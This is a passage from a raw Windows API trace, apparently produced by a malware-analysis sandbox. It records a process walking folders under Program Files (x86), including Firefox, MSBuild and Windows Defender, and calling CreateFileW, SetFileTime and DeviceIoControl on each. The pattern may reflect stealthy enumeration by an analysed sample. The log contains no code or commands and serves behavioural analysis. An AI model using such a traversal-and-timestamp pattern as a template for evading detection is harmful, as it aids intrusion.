lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0254.433] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0254.433] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0254.480] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0254.481] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0254.481] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0254.574] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0254.574] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0254.574] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0254.574] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox" (normalized: "c:\\program files (x86)\\mozilla firefox"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0254.574] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0254.575] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0254.708] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0254.709] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0254.709] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0254.792] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\components"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0254.792] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0254.792] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0254.840] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) [0254.840] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0254.841] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0254.841] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0254.886] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0254.886] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.886] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.886] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0254.887] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0254.887] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0254.931] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0254.931] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0254.931] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0254.936] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\pref"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0254.936] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0254.936] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0254.979] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0254.980] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0254.980] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0254.986] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0254.987] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0254.987] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0254.987] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0254.987] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0254.987] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0254.988] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service" (normalized: "c:\\program files (x86)\\mozilla maintenance service"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0254.988] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0254.988] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0254.988] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild" (normalized: "c:\\program files (x86)\\msbuild"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0254.988] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0254.988] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0255.030] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft" (normalized: "c:\\program files (x86)\\msbuild\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.030] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.030] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.031] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.031] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.031] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.031] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.031] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.031] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.032] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.032] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.032] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.035] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies" (normalized: "c:\\program files (x86)\\reference assemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.035] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0255.035] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0255.036] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.036] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.036] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.053] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.053] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.053] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.053] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.054] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.054] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.090] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.090] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.090] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.090] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0255.090] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.091] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.093] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.093] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.093] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.105] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.105] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0255.105] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.105] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.106] CreateFileW (lpFileName="C:\\Program Files (x86)\\Uninstall Information" (normalized: "c:\\program files (x86)\\uninstall information"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.106] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0255.106] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0255.116] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Defender" (normalized: "c:\\program files (x86)\\windows defender"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0255.116] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0255.116] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0255.167] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US" (normalized: "c:\\program files (x86)\\windows defender\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0255.167] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.167] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.168] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail" (normalized: "c:\\program files (x86)\\windows mail"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.168] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0255.168] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0255.196] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US" (normalized: "c:\\program files (x86)\\windows mail\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.196] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.196] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.196] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player" (normalized: 